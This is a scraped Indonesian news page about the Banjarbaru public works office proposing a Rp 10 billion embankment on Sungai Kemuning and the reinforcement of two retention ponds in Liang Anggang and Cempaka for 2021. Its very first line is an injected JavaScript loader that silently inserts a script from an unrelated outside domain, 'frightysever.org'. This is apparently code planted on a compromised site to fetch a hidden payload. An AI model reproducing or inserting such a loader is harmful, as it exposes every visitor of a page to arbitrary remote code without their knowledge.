(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Kota Banjarbaru melalui Bidang Sumber Daya Air (SDA) telah mengusulkan sejumlah revitalisasi sungai maupun embung untuk dialokasikan pada tahun 2021 nanti.
Salah satu yang diusulkan yakni pembangunan siring di Sungai Kemuning. Dinas PUPR Banjarbaru mengusulkan pembangunan siring di sisi Sungai Kemuning yang melintasi jembatan Kembar, Loktabat hingga ke jalan Kebun Karet.
Kepala Bidang Sumber Daya Air (SDA) Dinas PUPR Kota Banjarbaru Subrianto mengatakan, pihaknya mengusulkan pembangunan siring dengan alokasi anggaran mencapai Rp 10 miliar. Nantinya, pembangunan siring sepanjang 2.700 meter ini akan dikerjakan pihak Balai  Wilayah Sungai Kalimantan II (BWSK II).
“Sudah kita usulkan ke pemerintah pusat untuk dialokasikan tahun 2021 nanti. Kita juga telah koordinasi dengan pihak Balai Wilayah Sungai Kalimantan II, apabila usulan kita ini disetujui, maka mereka yang mengerjakannya. Kami dari PUPR hanya akan melakukan pemeliharaanya saja,†ujarnya kepada Kanalkalimantan.com, Senin (17/2/2020).
Usulan pembangunan siring ini, kata Subrianto, karena arus air yang tidak lancar dari aliran Sungai Kemuning. Khususnya di bagian hilir, sehingga menyebabkan muka air cepat naik.
Tidak hanya itu, Dinas PUPR Kota Banjarbaru juga mengusulkan pengelolaan terhadap dua embung yang berada di Kecamatan Liang Anggang dan Kecamatan Cempaka. Pengelolaan yang dilakukan yakni penguatan pada bagian bibir ke dua embung tersebut. Untuk embung di Liang Anggang dianggarkan Rp 12 miliar dan embung di Cempaka dianggarkan Rp 23 miliar.
“Sebenarnya tidak ada masalah dengan kedua embung ini, semuanya berfungsi dengan baik. Tapi, tanggul kedua embung ini dari tanah, makanya tanggul itu harus dikelola agar tidak longsor. Kita ingin tanggulnya diperkuat dengan batu,†terang Subrianto.
Meskipun begitu, seluruh usulan ini masih menunggu persetujuan dan keputusan oleh pemerintah pusat. Subrianto mengakui bahwa pemerintah tentunya memiliki penilaian dalam menentukan daerah mana yang sepatutnya perlu diprioritaskan. Bagi dirinya sendiri, kota Banjarbaru juga turut menjadi prioritas khususnya usulan pengelolaan embung di Cempaka.
“Dari semua yang kita usulkan, tentu yang diprioritaskan embung di Kecamatan Cempaka. Mengingat pada awal tahun 2020 ini, kondisi di kecamatan tersebut, sangat rawan banjir saat turun hujan. Ya, kita harap pemerintah bisa menyujui usulan-usulan kita,†pungkasnya. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.